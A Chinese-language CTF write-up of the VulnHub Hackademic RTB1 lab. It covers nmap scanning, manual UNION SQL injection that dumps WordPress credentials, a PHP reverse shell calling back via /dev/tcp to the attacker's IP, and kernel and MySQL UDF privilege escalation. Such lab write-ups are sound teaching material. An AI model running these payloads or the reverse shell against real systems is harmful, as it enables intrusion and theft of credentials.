目录
写在开头
第一步:主机发现和端口扫描
第二步:Web渗透
第三步:手工SQL注入
第四步:登录WordPress上传shell
第五步:内核提权
总结与思考
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本文的打靶过程涉及到关于SQL手工注入的思路(联合查询)、wordpress cms文件上传、内核漏洞提权、MySQL UDF提权的失败情况等。完整打靶思路详见:「红队笔记」靶机精讲:HackademicRTB1 - 试炼手工SQLi_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
Hackademic: RTB1 ~ VulnHub
靶机下载链接见:
https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip
下载成功后用vmware打开,跳出提示框请选择“我已移动该虚拟机”,然后设置为NAT模式,否则无法扫描到靶机!
靶机启动后的界面如下:
常规思路,不细讲了。。有关主机发现和端口扫描的命令详见我的这篇博客中关于nmap的部分:
渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.132
nmap -sT -sV -O -p22,80 10.10.10.132
nmap -sU --min-rate 10000 -p- 10.10.10.132
nmap --script=vuln -p22,80 10.10.10.132
扫出来靶机的ip是10.10.10.132,开放端口只有80,22端口是closed状态。
80端口运行的是Apache的服务,操作系统Linux内核版本是2.6。
UDP扫描无结果,漏洞脚本扫描也没太多有利用价值的东西。
浏览器访问靶机ip,如下:
没太多信息,就告诉我们欢迎进入第一个黑客学院的挑战(获取root权限)。界面中说,请进入你的target并努力获取root权限。target是一个链接,我们点击跳转。
跳转之后由url可知我们进入了Hackademic_RTB1目录,这个界面告诉我们目标(Goal)就是读取root目录下的Key.txt文件。同时还有三个可以跳转的链接no comments 和Uncategorized。首先这个界面明显是个cms,我们可以查看网页源代码看看有没有cms的信息:
非常nice,我们直接看到这个cms是WordPress的1.5.1.1版本。然后可以searchsploit一下有啥漏洞:
searchsploit wordpress 1.5.1.1
漏洞果然一大堆,我们重点观察版本匹配的开头两个,说存在SQL注入,因此我们在接下来的渗透重点关注SQL注入。
点击超链接no comments,可以进入下面的界面:
主要观察url中有个参数p,我们要测试是否存在SQL注入,还可以测试是否存在文件包含。修改为p=9'和p=../../../../../../../../etc/passwd。最后发现也没什么变化,看来这里应该没有SQL注入和文件包含。回到刚才的/Hackademic_RTB1/界面,点击Uncategorized,跳转到了如下界面:
这个界面有两个地方要重点关注,其一是url存在参数cat,可以尝试测试SQL注入和文件包含,其二是标题栏中出现一句话Archive for the “Uncategorized” Category。先尝试SQL注入吧,在参数最后加一个引号,把参数改为cat=1'
报错了,而且回显了数据库查询语句:
SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1
看来这个cat参数存在SQL注入,同时我们还看到了查询语句,是个大有可为的地方。
观察查询的SQL语句,我们可以先尝试获取数据库到底有多少列,通过order by [num]的方法(按照第[num]列排序),只要页面没有出现报错,就说明数据库至少有[num]列。order by 5是的界面如下:
order by 6时出现了报错,说明数据库中一共有5列数据:
接下来我们可以用联合查询的方法进行注入,思考SQL查询语句,我们要保证后台执行我们的联合查询union select语句,只要将cat_ID的值设置为0,这样就无法查询到结果,相当于只执行了我们union select的语句。如果我们将url中的参数改为cat=0 union select 1,2,3,4,5那么SQL查询语句将会是:
SELECT * FROM wp_categories WHERE cat_ID = 0 union select 1,2,3,4,5 LIMIT 1
LIMIT 1限制了只会显示一条结果,由于SELECT * FROM wp_categories WHERE cat_ID = 0无法查询到结果,因此相当于只执行了select 1,2,3,4,5 LIMIT 1,界面如下:
此处非常关键,注意上图中引号内的内容变为了2,因此select 1,2,3,4,5这个语句中2的位置可以进行查询,并回显到前端,我们可以把2修改为version()以查询MySQL的版本,这样参数修改为cat = 0 union select 1,version(),3,4,5结果如下:
果然回显了版本,那么我们可以在2这个位置查询任何我们想要的数据,比如cms的后台登录账号和密码。但前提是我们要知道表名和列名(数据库结构)。由于WordPress是非常著名的cms,他的配置是固定的,我们可以Google查到WordPress1.5.1.1对应的数据库结构:
如下图,我们找到了wordpress 1.5.1版本下存在的表的结构,有一个名为wp_users的表,下面有user_login,user_pass,user_level(用户名,密码,权限)等我们关心的列。
因此查询语句应该就是:
select id,user_login,user_pass,user_level from wp-users
比如我们可以查询user_login试试cat=0 union select 1,user_login,3,4,5 from wp_users:
成功查到了一天账号GeorgeMiller,但受限于LIMIT 1,我们只看到了这一个用户,此时可以用group_concat函数让一行内显示所有信息:
cat=0 union select 1,group_concat(user_login),3,4,5 from wp_users
好的,非常好,那么我们干脆一口气把id,user_login,user_pass ,user_level这几个都注入出来:
cat=0 union select 1,group_concat(id,user_login,user_pass,user_level),3,4,5 from wp_users
成功了!但结果太长不方便观察,我们可以在任意两个参数直接加入'-'方便观察,'-'的ascii编码是0x2d,因此修改cat参数为:
cat=0 union select 1,group_concat(id,0x2d,user_login,0x2d,user_pass,0x2d,user_level),3,4,5 from wp_users
这回方便查看了,好几个用户的用户名、密码、权限级别都被我们注入出来了。我们当然最想要的是权限最高的用户,可以找到权限级别user_level最高的用户是GerogeMiller,他的user_level是10,然后我们破解他的密码哈希7cbb3252ba6b7e9c422fac5334d22054
很容易得到是md5,然后找个在线网站Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online破解即可:
密码是q1w2e3
下面我们通过用户名GerogeMiller,密码q1w2e3登录WordPress后台。WordPress后台登录界面的路径是固定的,即/wp-admin(有可能会作重定向),如下图:
登录的时候会卡一小会,然后登录成功!
在option—Miscellaneous设置中勾选Allow File Upload(允许文件上传),然后添加php,最后点击更新Update Options,即可设置允许文件上传:
设置成功后,我们可以发现菜单中出现了Upload界面,我们可以上传一个反弹shell的php文件,即shell.php,代码如下,其中10.10.10.128是kali的ip,1234是一会接收shell的端口:
& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>
然后把他上传到wordpress后台,提示上传成功,且路径是/wp-content/,下面我们只要开启nc监听,并访问/wp-content/shell.php即可接收到反弹shell:
nc监听成功收到了反弹shell:
先用python增强shell的交互性:
python -c "import pty;pty.spawn('/bin/bash')"
查看当前用户:
是apache,然后查看内核版本,是2.6.31:
用sudo -l查看当前用户权限:
很遗憾,需要密码。此路不通。
由于22端口的SSH服务没有开放,所以对于提权来说,寻找SSH登录密码是没有意义的,而我们看到的内核版本又比较老旧,因此可采用内核提权的方法。在searchsploit中搜索Linux kernel 2.6.3版本(不要搜索的太细)的提权漏洞:
searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'
结果非常多,可谓是眼花缭乱不知所选。此时红队笔记大佬提出排查思路,首先排除特定linux操作系统的漏洞,比如Ubuntu/CentOS/RedHat,这些我们都暂不考虑(因为靶机操作系统不是这些),然后尽可能选择版本范围精确的漏洞,我首先尝试了10018,发现失败了,然后尝试15258.c,发现可以提权,过程如下,先把漏洞利用文件下载下来
searchsploit -m 10018
然后把他传到靶机的/tmp目录下,先在kali中启动一个http服务:
php -S 0:80
然后在靶机/tmp目录下wget,把kali中的15285.c下载下来:
gcc 15285.c -o 15285
然后直接运行即可提权:
./15285
sudo -l查看权限,已经是ALL了:
进入/root目录,查看key.txt
成功拿到了flag,至此打靶成功!
这个靶机本身不难。最关键的步骤是进行手动的SQL注入。这一步中我们要观察SQL查询语句,通过构造合理的payload,使得后台拼接执行我们想要的指令。核心还是对SQL语句的理解。尤其是添加0x2d这个分隔符'-'的操作,虽然不复杂,但很细节很有用。最后还是总结一下打靶的全过程:
1.主机发现和端口扫描
2.Web渗透:发现cms是WordPress 1.5.1.1,searchsploit发现可能存在SQL注入漏洞。在超链接Uncategorized的url下可以看到参数cat,尝试添加单引号'发现报错并回显了SQL查询语句,找到了SQL注入的位置。
3.手工进行SQL注入,通过order by确定列数,再通过联合查询执行我们想要的代码。Google搜索WordPress的数据库结构,构造我们的查询语句。
4.文件上传:拿到凭据后,登录WordPress后台,设置允许上传php文件,并上传反弹shell的php代码,得到了文件上传的路径。开启nc监听后,访问shell.php路径,触发了代码执行,拿到了初始Shell。
5.内核提权:由于内核版本老旧,寻找内核提权的exp,成功提权。
这里插个题外话,由于22端口的SSH服务没有开放,所以对于提权来说,寻找SSH登录密码是没有意义的,因此红队笔记采用了内核提权的方法,这是很顺畅的思路。但我同时还想到,是否可以进行MySQL的UDF提权。最后提权失败了。不过还是有一些收获,为什么失败?主要是MySQL的root用户没有在自定义函数的plugin目录下写入文件的权限。这样即使成功写入,最后提权也这能提权为mysql用户的权限,并不是root权限。不过还是总结一下我进行MySQL UDF提权的失败过程。有关MySQL UDF提权的方法详见我的这篇博客:
渗透测试:MySQL数据库UDF提权详解
首先我们必须要能够登录进入MySQL才行。使用apache的shell寻找配置文件,在/var/www/html/Hackademic_RTB1目录下成功发现了一个配置文件wp-config.php:
看一下这个文件,暴露了MySQL的root账户的登录密码是lz5yedns
然后登录MySQL
mysql -u root -p
登录成功了!然后我们需要查看当前用户是否是root(显然是,毕竟用户名就是root)
然后我们还需要查看MySQL的权限配置secure_file_priv为是否为空,命令如下:
确实为空,非常nice,然后我们再查看是否有用户自定义函数的plugin目录:
plugin目录也存在。此时我非常兴奋,以为一定可以MySQL UDF提权成功,但最终失败了。主要是MySQL的root用户没有在自定义函数的plugin目录下写入文件的权限。也就是说MySQL账号的权限还是比较低,无法创建自定义函数。在执行下面的命令的时候会失败:
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/raptor_udf2.so'文件中,相当于写入了外部库,如果写入成功就可以实现由外部库"raptor_udf2.so"创建自定义函数了(过程详见)渗透测试:MySQL数据库UDF提权详解。但这个命令并没有执行成功,而是出现报错:
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/raptor_udf2.so' (Errcode: 13)
Errcode:13经过我的查阅发现是权限问题,在保证/usr/lib/mysql/plugin/raptor_udf2.so
这个路径没问题的前提下,一定是当前用户没有在/usr/lib/mysql/plugin/
创建文件的权限!换言之,MySQL的权限太小了,没法提权。然后我用apache账户查看usr/lib/mysql/plugin/
权限:
果然,所在组和其他组都没有写入权限。这也说明MySQL账户并不是所有者。因此是无法进行MySQL UDF提权的。然后我还有点不死心,想试试如果这个plugin目录的权限是777,我是否可以进行提权。于是我自欺欺人的进行内核提权为真正的root之后,修改了这个目录的权限:
然后此时当然就能够在plugin目录写入文件了:
一路下来都很顺畅,然后我们在/tmp目录下执行rootbash -p:
果然,成功提权成为了MySQL账户!
到此这个靶机就讲解完毕了。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!